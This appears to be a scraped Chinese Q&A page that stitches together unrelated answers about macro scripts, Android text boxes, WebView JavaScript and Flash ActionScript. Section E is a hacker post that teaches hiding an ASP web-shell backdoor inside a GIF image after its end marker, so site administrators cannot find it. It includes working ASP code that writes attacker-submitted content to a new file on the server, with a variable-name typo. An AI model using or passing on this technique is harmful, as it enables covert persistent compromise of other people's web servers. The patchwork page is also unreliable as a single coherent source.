A. 按键精灵怎么设置脚本
按键精灵是一个目前被大家所使用的软件,那么在这个软件中,用户该如何使用呢?又如何利用按键精灵做一些简单的脚本呢?
工具/原料
按键精灵
按键精灵使用方法
1/8分步阅读
首先,打开按键精灵,一般第一次下载按键精灵,不太会使用的情况下,小编推荐大家先使用“第一次用脚本”
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小编这里就用创建,鼠标连点的脚本为大家做讲解吧。
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如图可看到,刚打开脚本的时候,脚本会教大家如何去设置。
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在鼠标动作菜单栏中,选择自己想要的设置
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设置完毕后,点击旁边的插入即可
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再来就是对脚本每一次点击鼠标的时间作设置,设置完毕后,还是需要点击旁边的插入
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最后设置好,需要循环的次数,点击右下方的保存,一个简单的脚本就这样被设置好了。
查看剩余1张图
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在,我的脚本里面就可以找到刚刚设置过的“脚本”了。
注意事项
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硬件 按键精灵
编辑于2018-01-27,内容仅供参考并受版权保护
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下一
B. 在安卓编程中,如何将文本框中输入的内容添加到我预设的链接中
String url = "http://www..com/?tn=02049043_69_pg&le=utf-8&word="+et.getText().toString();
C. 怎么向安卓模拟器内的编辑框投递内容呢
这样对安卓模拟器没用。
你应该尝试模拟键盘输入的方法。
调用格式: 〈无返回值〉 模拟鼠标点击 (整数型 X坐标,整数型 Y坐标,[整数型 点击类型]) - 应用接口支持库->系统处理
英文名称:SimulateMouse
模拟鼠标的点击。本命令为初级命令。
参数<1>的名称为“X坐标”,类型为“整数型(int)”。
参数<2>的名称为“Y坐标”,类型为“整数型(int)”。
参数<3>的名称为“点击类型”,类型为“整数型(int)”,可以被省略。模拟鼠标点击的类型,可以为以下常量值之一:0、#接口常量.左键单击;1、#接口常量.左键双击;2、#接口常量.右键单击;3、#接口常量.右键双击。
有一种方法比较烦:通过模拟鼠标点击文本框唤起模拟键盘,再算一下字幕的XY坐标,做一个脚本来点击
D. 文本框联动java脚本
联动的话可以采用Ajax来与后台的servlet打交道,从而获取数据到前台来显示
在下拉框中添加一个onchange事件,在这个事件中,通过XMLHttpRequest对象来与后台打交道,有open,send,getRequestText这几个方法吧,最后将获取的数据innerHTML到需要更改的下拉框,就差不多了
E. 图片内加入脚本
现在从注入拿WEBSHELL看来成功率都比较高了。拿到SHELL后,安装自己的脚本后门,常常被查杀。 脚本后门的发展史:
1。最开始就是直接放一个ASP文件上去。
2。把ASP文件加密才放上去。
3。把脚本插入到代码中去。(我经常用这种) 不过一样被查得出来,我前段时候手工检测一个站的脚本安全。发现这个站被种了21个木马。所以我就想到了,怎么样才能不被发现不能被查杀。 最后我研究了一下如果把脚本插入到图片中。然后在ASP中调用图片中的脚本程序应该就可以了。 测试的时候通过了。现在我把我的心德写一下。让大家来分析一下。共同进步和完善这种方法。 在研究过程中我看了GIF图片的结构文档方面的书。 GIF图片都是以 00 3B 为结束的。换句话说00 3B 后面的不会显示出来。所以我们在00 3B后面插入代码就行了。当然代码我们加密放到图片中去效果更好。我写了一个程序来这么做。 这里要说一下,在图片中00 3B后面的是不会显示出来的。 但其中的代码已经运行了。图片也会正常显示出来。 测试:
在图片后面加入:<%=now%>
然后在一个ASP文件中加入:<!--#include file="aaa.gif" --> 然后你们下载这个图片,发现图片最后面变成了时间。很正常因为图片放到了ASP脚本中运行了其中的代码。 换句话来说,如果写的是一段生成文件的脚本。那么我们提交特定的参数让图片中的代码去生成文件。这样就实现了我们的后门。 1:这种方法要做的工作就是在目标站点中找一张GIF图片然后把代码插入到图片中,再上传到站点中去。这样作管理员很难找到木马在哪里。打死也想不到木马在图片中。 2:我们插入的代码只有一行就是那个include file .....
找个文件大点的ASP文件给插进去就行了。 然后我们在本地POST数据提交给ASP引用图片的URL这样就完成了工作。 我的插入图片的脚本: <% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> 这段代码主要就是在当前目录下生成一个ok.asp文件。
文件内容是由我们提交的数据.用request("cyfddata")来获取的。 这段代码加密后插入到图片中去。下面我把我程序的代码贴出来。 本地自己构建一个提交表单向ASP文件提交(加入图片那个文件) 表单文本框输入内容名称是:cyfddata 后感:
我本人认为这种方法,管理员很难查到。这是我两天前想到的作出来了,可能有些问题希望和大家一起讨论,必竞,为了追求技术就得研究技术。
共享知识,从而升华。
感觉去研究一些新东西,人活得更XS些。
F. 怎么使用脚本
这是写在一个按钮上的语句.
n
=
Number(n)+1;
这一句是说,
有一个动态文本框被设为输入文字的形式,
n
就是代表输入的内容.
这个
n
应该是个数字.
当按钮被按下时,
这个数字自动加1
bn
=
"box"
add
n;
这句里,
一个名为
bn
的变量被设定,
其值就是
"box"
这3个字母后面跟上新设定的
n
的值,
如
"box2",
"box7",
"box5689"
等
plicateMovieClip("box",
bn,
n);
一个名叫"box"的影片剪辑将被复制,
新的影片剪辑会被命名为"bn",
也就是上一句里刚设定的值,
如
"box2",
在第n层深(这里在"box"的下面)
setProperty(bn,
_x,
Number(getProperty(bn,
_x))+Number(n*(Number(getProperty(bn,
_width))+0)));
这一句最不容易解释,
只能尽力而为了.
首先,目的是进一步定义刚复制出的"bn"这个影片剪辑.
这里只设定了新影片剪辑"bn"的x轴上的位置.
先得到其原本的位置,
用这个数加上(n
乘以
其宽度)
所得到的和,
就是新影片剪辑"bn"的x轴坐标.
set(bn
add
":n",
n);
最后这句里,
一个新的变量"bn:n"被创建了,
其值就是以前用到过的
n
的数值.
不知道你对其中语句了解到什么称度,
这里就简单解释一下:
on
(press)
{}:
在按钮被(按下)
时执行
{以下命令}.
小括号里可以是
release/按下后放开,
rollover/滑过
等
Number()
:
把一个值设定为数值,
目的是可以做运算
add
:
把一个字符串的字和另外一个里的合并起来,
如:
"bo"
add
"x"
=
"box"
plicateMovieClip(目标,
新名字,
层深)
:
用来复制影片剪辑.
这里层深指影片剪辑在舞台上出现的顺序(低的会把高的遮住)
setProperty(目标,
属性名,
值)
:
设定某个影片剪辑的属性,
如高宽,
摆放位置,
透明度等
getProperty(目标,
属性名)
:
获取某个影片剪辑的属性(并用在其它地方)
_x
:
某物件的x坐标值
_width
:
某物件的宽
set(变量名,
值)
:
用来设定变量的名字和值
G. 关于安卓登录界面添加文本框命令按钮。。 我想在安卓的一个游戏登录界面添加一个文本框和两个命令
你是要制作这个游戏软件吧,需要懂得编程和Java
然后最好在应用宝里面下载一个教程,应该可以的!
有了教程或者攻略,你就会更容易制作游戏了。
应用宝里面的资源很多,除了有大量的APP应用可以免费下载
还有很多游戏或者制作的教程和攻略呢,都是很不错的,免费下载呢
在手机上打开应用宝软件搜索你所需要的教程,找到下载就可以了。
也可以通过手机连接电脑端的应用宝软件来下载的,打开PC端的应用宝软件——手机应用。
可以通过搜索你所需要的游戏教程进行下载呢,都是很方便的。还望采纳
H. android 中怎么执行js脚本
android要执行脚本,只有通过本地的webview打开脚本页面。
调用步骤
1、设置webview支持脚本
webSettings.setJavaScriptEnabled(true);
2、打开脚本页面
mWebView.loadUrl("file:///android_asset/demo.html");//这里打开该app的asset目录下的demo.html,里面含有wave函数脚本
3、调用脚本
mWebView.loadUrl("javascript:wave()");//调用打开页面中的wave函数
I. 如何在文本框中输入js脚本不被浏览器执行
将 文本框里的内容中 "<" 和 “>” 符号 用 < > 替换掉,可以用JS替换,也可以在后台替换,这样显示的时候,在页面上 还是 <script> ,却不会执行,只会这样显示了
J. 怎么写一个简单的脚本
可以使用网络按键精灵下载安装使用就行。
脚本就是一个给计算机照着做的东西,命令的组合就是脚本,当我们运行脚本的时候,计算机就会按着我们输入的命令一步一步操作。网络按键精灵里可以先新建一个空白脚本,点击确定后可以进入编辑界面,由于没有英文,对于大多数人来说,这个操作界面时比较容易上手的,如果是有一定编程基础的就更容易学会了。这是操作界面,左边是可以插入的命令,主要运行公式加到右边的文本框就可以了。基本命令是对于初学者来说的,这里插入一条a按键的输入,这里有插入了几条命令,意思是换行插入输入大写的B,这里将属性调成循环到按终止键为止,那么这个命令就可以一直输出了。点击调试后,打开一个记事本进行测试,F10是系统默认的运行脚本,F12是停止。最终效果如图,记事本上就会自动输入我们编写好的脚本了,通常而言,在每次输入间隔都会加入时间间隔。按键精灵是一款非常强大的键盘鼠标录入功能,它的智能化是可以通过作者输入的逻辑语句实现的。这需要对编程有一个较为深刻的认识。